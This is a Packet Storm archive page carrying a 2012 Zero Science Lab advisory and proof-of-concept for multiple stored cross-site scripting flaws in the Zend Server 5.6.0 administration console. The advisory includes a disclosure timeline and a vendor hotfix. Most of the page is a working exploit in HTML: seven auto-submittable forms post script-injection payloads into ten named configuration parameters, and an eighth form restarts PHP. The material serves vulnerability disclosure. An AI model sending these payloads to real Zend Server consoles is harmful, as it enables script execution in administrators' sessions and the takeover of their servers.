exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Zend Server 5.6.0 Script Insertion

Zend Server 5.6.0 Script Insertion
Posted Mar 10, 2012
Authored by LiquidWorm | Site zeroscience.mk

Zend Server version 5.6.0 suffers from multiple script insertion vulnerabilities that allow for cross site scripting attacks.

tags | exploit, vulnerability, xss
SHA-256 | a56a0dc25440b07c1ee03be923fb679446ad7232720bdb846a2f5d0ac189e975

Zend Server 5.6.0 Script Insertion

Change Mirror Download
<!--


Title: Zend Server 5.6.0 Multiple Remote Script Insertion Vulnerabilities


Vendor: Zend Technologies Ltd.
Product web page: https://www.zend.com

Affected version: Zend Server 5.6.0
*Zend Optimizer+ 4.1
*Zend Code Tracing 1.0
*Zend Data Cache 4.0
*Zend Job Queue 4.0
*Zend Debugger 5.3
*Zend Java Bridge 3.1

Summary: Zend Server is a complete, enterprise-ready Web Application Server for running
and managing PHP applications.

Desc: Zend Server and its components suffers from a cross-site scripting vulnerability.
The persistent (stored) XSS issues are triggered when input passed via several parameters
to several scripts is not properly sanitized before being returned to the user. This can
be exploited to execute arbitrary HTML and script code in a user's browser session in
context of an affected site. List of parameters and modules that are affected:

---------------------------------------------------------------------------------
* Parameter * * Module/Component *
---------------------------------------------------------------------------------

1. directives[zend_optimizerplus.blacklist_filename] -- Zend:Optimizer+
2. traceUrl -- Zend:Code Tracing
3. host -- Zend:Data Cache
4. name -- Zend:Data Cache
5. path -- Zend:Data Cache
6. ruleName -- Zend:Job Queue
7. directives[zend_jbridge.encoding] -- Zend:Java Bridge
8. directives[zend_debugger.allow_hosts] -- Zend:Debugger
9. directives[zend_debugger.deny_hosts] -- Zend:Debugger
10. directives[zend_codetracing.log_file] -- Zend:Code Tracing

---------------------------------------------------------------------------------


Tested on: Microsoft Windows XP Professional SP3 (EN)
Apache 2.2.21 (Win32) mod_ssl/2.2.21 OpenSSL/0.9.8o
PHP 5.3.9-ZS5.6.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
Zero Science Lab - https://www.zeroscience.mk


Vendor status:

[22.02.2012] Vulnerabilities discovered.
[23.02.2012] Contact with the vendor.
[23.02.2012] Vendor responds asking for details.
[24.02.2012] Sent detailed information to the vendor.
[24.02.2012] Vendor assigns appropriate team for coordination.
[27.02.2012] Vendor is analyzing the issues, working on a fix.
[27.02.2012] Asked vendor for confirmation and scheduled patch release date.
[28.02.2012] Vendor replies with confirmation of the issues.
[05.03.2012] Asked vendor for status update.
[06.03.2012] Vendor created fix for the issues, promising patch release date.
[07.03.2012] Sent coordination details to the vendor.
[07.03.2012] Vendor replies with release information.
[08.03.2012] Vendor releases hotfix 5.6.0 SP1 to address these issues.
[10.03.2012] Coordinated public security advisory released.


Advisory ID: ZSL-2012-5078
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5078.php

Zend Advisory: https://www.zend.com/topics/ZS-560-SP1-ReleaseNotes-20120308.txt
https://www.zend.com/en/products/server/updates



22.02.2012


-->


<html>

<title>Zend Server 5.6.0 Multiple Remote Script Insertion Vulnerabilities</title>
<link rel="Shortcut Icon" href="https://zeroscience.mk/favicon.ico" type="image/x-icon">
<body bgcolor="#1C1C1C"><br />
<img style="margin-left:10" src="https://zeroscience.mk/images/zsl-logo1.png" hight="20%" width="20%">

<script type="text/javascript">

var disclaimer = "This document and all the information it contains are provided \"as is\",\n" +
"for educational purposes only, without warranty of any kind, whether\n" +
"express or implied.\n\n" +

"The author reserves the right not to be responsible for the topicality,\n" +
"correctness, completeness or quality of the information provided in\n" +
"this document. Liability claims regarding damage caused by the use of\n" +
"any information provided, including any kind of information which is\n" +
"incomplete or incorrect, will therefore be rejected.";

var answ = confirm(disclaimer);

if (answ == true){}else{window.location.href = "https://www.zend.com";}

function xss1(){document.forms["xss1"].submit();}
function xss2(){document.forms["xss2"].submit();}
function xss3(){document.forms["xss3"].submit();}
function xss4(){document.forms["xss4"].submit();}
function xss5(){document.forms["xss5"].submit();}
function xss6(){document.forms["xss6"].submit();}
function xss7(){document.forms["xss7"].submit();}
function rst(){document.forms["rst"].submit();}

</script>

<center><h2 style="position:absolute;left:525;top:32;background-color:#BAB8B9;width:200">
HTML Response:</h2></center>

<iframe src="https://www.zeroscience.mk/codes/zend_s03.txt" width="1100" height="700"
name="ZSL_iframe" align="top" frameborder="0" style="position:absolute;left:525;
top:80;background-color:#cecece;"></iframe>

<font color="#414141" size="2" style="position:absolute;top:795px;right:55px">v0.3</font>

<br />

<form action="https://localhost:10081/ZendServer/Directives/Save/extension/WmVuZCBPcHRpbWl6ZXIr"
enctype="application/x-www-form-urlencoded" method="POST" id="xss1" target="ZSL_iframe">
<input type="hidden" name="trgtAction" value="Search" />
<input type="hidden" name="searchName" value='ext:Zend Optimizer+' />
<input type="hidden" name='directives[zend_optimizerplus.blacklist_filename]' value='"><script>alert(1);</script>' />
</form>

<form action="https://localhost:10081/ZendServer/Code-Tracing/Generate-Dump"
enctype="application/x-www-form-urlencoded" method="POST" id="xss2" target="ZSL_iframe">
<input type="hidden" name="traceUrl" value='"><script>alert("ZSL");</script>' />
</form>

<form action="https://localhost:10081/ZendServer/Page-Cache/Save-Rule"
enctype="application/x-www-form-urlencoded" method="POST" id="xss3" target="ZSL_iframe">
<input type="hidden" name="compression" value="1" />
<input type="hidden" name="host" value='"><script>alert(1);</script>' />
<input type="hidden" name="lifetime" value="11" />
<input type="hidden" name="matchConditions" value="ALL" />
<input type="hidden" name="name" value='"><script>alert(2);</script>' />
<input type="hidden" name="path" value='"><script>alert(3);</script>' />
<input type="hidden" name='rule[zend_widget_pageCache_condition_5][conditionMatch]' value="1" />
<input type="hidden" name='rule[zend_widget_pageCache_condition_5][conditionType]' value="equals" />
<input type="hidden" name='rule[zend_widget_pageCache_condition_5][conditionValue]' value="1" />
<input type="hidden" name='rule[zend_widget_pageCache_condition_5][conditionVar]' value="_GET" />
<input type="hidden" name="schema" value="http" />
<input type="hidden" name="type" value="exact" />
</form>

<form action="https://localhost:10081/ZendServer/Job-Queue-Scheduling/Save-Rule"
enctype="application/x-www-form-urlencoded" method="POST" id="xss4" target="ZSL_iframe">
<input type="hidden" name="ruleId" value="" />
<input type="hidden" name="ruleName" value='"><script>alert("ZSL");</script>' />
<input type="hidden" name="ruleUrl" value="https://www.zeroscience.mk" />
<input type="hidden" name="scheduleDailyTime" value="" />
<input type="hidden" name="scheduleEvery" value="schedule-every-hours" />
<input type="hidden" name="scheduleEveryHours" value="1" />
<input type="hidden" name="scheduleEveryMinutes" value="" />
<input type="hidden" name="scheduleHourlyMinute" value="" />
<input type="hidden" name="scheduleMonthlyDay" value="" />
<input type="hidden" name="scheduleMonthlyTime" value="" />
<input type="hidden" name="scheduleType" value="schedule-every" />
<input type="hidden" name="scheduleWeeklyTime" value="" />
</form>

<form action="https://localhost:10081/ZendServer/Directives/Save/extension/WmVuZCBKYXZhIEJyaWRnZQ%3D%3D"
enctype="application/x-www-form-urlencoded" method="POST" id="xss5" target="ZSL_iframe">
<input type="hidden" name="trgtAction" value="Search" />
<input type="hidden" name="searchName" value='ext:Zend Java Bridge' />
<input type="hidden" name="directives[zend_jbridge.encoding]" value='"><script>alert(1);</script>' />
</form>

<form action="https://localhost:10081/ZendServer/Directives/Save/extension/WmVuZCBEZWJ1Z2dlcg%3D%3D"
enctype="application/x-www-form-urlencoded" method="POST" id="xss6" target="ZSL_iframe">
<input type="hidden" name="trgtAction" value="Search" />
<input type="hidden" name="searchName" value='ext:Zend Debugger' />
<input type="hidden" name="directives[zend_debugger.allow_hosts]" value='"><script>alert(1);</script>' />
<input type="hidden" name="directives[zend_debugger.deny_hosts]" value='"><script>alert(2);</script>' />
</form>

<form action="https://localhost:10081/ZendServer/Directives/Save/extension/WmVuZCBPcHRpbWl6ZXIr"
enctype="application/x-www-form-urlencoded" method="POST" id="xss7" target="ZSL_iframe">
<input type="hidden" name="trgtAction" value="Search" />
<input type="hidden" name="searchName" value='ext:Zend Code Tracing' />
<input type="hidden" name='directives[zend_codetracing.log_file]' value='"><script>alert(1);</script>' />
</form>

<form action="https://localhost:10081/ZendServer/Configuration/Webserver-Restart"
enctype="application/x-www-form-urlencoded" method="POST" id="rst" target="ZSL_iframe">

<input type="button"
style="color:white;background-color:#2C3C8C;cursor:pointer;border-style:groove;border-color:black;
width:470;text-align:left;padding-top:10;padding-bottom:10;margin-left:10"
value="1. XSS POST Injection --> 'directives[zend_optimizerplus.blacklist_filename]'" onClick="xss1()" />
<br /><br />

<input type="button"
style="color:white;background-color:#2C3C8C;cursor:pointer;border-style:groove;border-color:black;
width:470;text-align:left;padding-top:10;padding-bottom:10;margin-left:10"
value="2. XSS POST Injection --> 'traceUrl'" onClick="xss2()" />
<br /><br />

<input type="button"
style="color:white;background-color:#2C3C8C;cursor:pointer;border-style:groove;border-color:black;
width:470;text-align:left;padding-top:10;padding-bottom:10;margin-left:10"
value="3. XSS POST Injection --> 'host', 'name', 'path'" onClick="xss3()" />
<br /><br />

<input type="button"
style="color:white;background-color:#2C3C8C;cursor:pointer;border-style:groove;border-color:black;
width:470;text-align:left;padding-top:10;padding-bottom:10;margin-left:10"
value="4. XSS POST Injection --> 'ruleName'" onClick="xss4()" />
<br /><br />

<input type="button"
style="color:white;background-color:#2C3C8C;cursor:pointer;border-style:groove;border-color:black;
width:470;text-align:left;padding-top:10;padding-bottom:10;margin-left:10"
value="5. XSS POST Injection --> 'directives[zend_jbridge.encoding]'" onClick="xss5()" />
<br /><br />

<input type="button"
style="color:white;background-color:#2C3C8C;cursor:pointer;border-style:groove;border-color:black;
width:470;text-align:left;padding-top:10;padding-bottom:10;margin-left:10"
value="6. XSS POST Injection --> 'directives[zend_debugger.allow_hosts]'" onClick="xss6()" />
<br /><br />

<input type="button"
style="color:white;background-color:#2C3C8C;cursor:pointer;border-style:groove;border-color:black;
width:470;text-align:left;padding-top:10;padding-bottom:10;margin-left:10"
value="7. XSS POST Injection --> 'directives[zend_codetracing.log_file]'" onClick="xss7()" />
<br /><br /><br /><br />

<input type="button"
style="color:white;background-color:#c05c5c;cursor:pointer;border-style:groove;border-color:black;
width:470;text-align:left;padding-top:5;padding-bottom:5;margin-left:10"
value="8. Restart PHP" onClick="rst()" />

<br /><br />
<br /><br />

<font color="gray" size="2" style="margin-left:10">&copy; 2012. <a href="https://www.zeroscience.mk"
target="_blank" style="text-decoration:none"><font color="gray">Zero Science Lab</font></a><br />
<font style="margin-left:10">Macedonian Information Security Research And Development Laboratory</font>
<br /><font style="margin-left:10">
Proof of Concept (PoC) code for advisory ID:
<a href="https://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5078.php" target="ZSL_iframe"
style="text-decoration:none"><font color="gray">ZSL-2012-5078</font></a></font>

</body></html>

<!-- Best viewed in Mozilla Firefox (1680x1050) -->
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close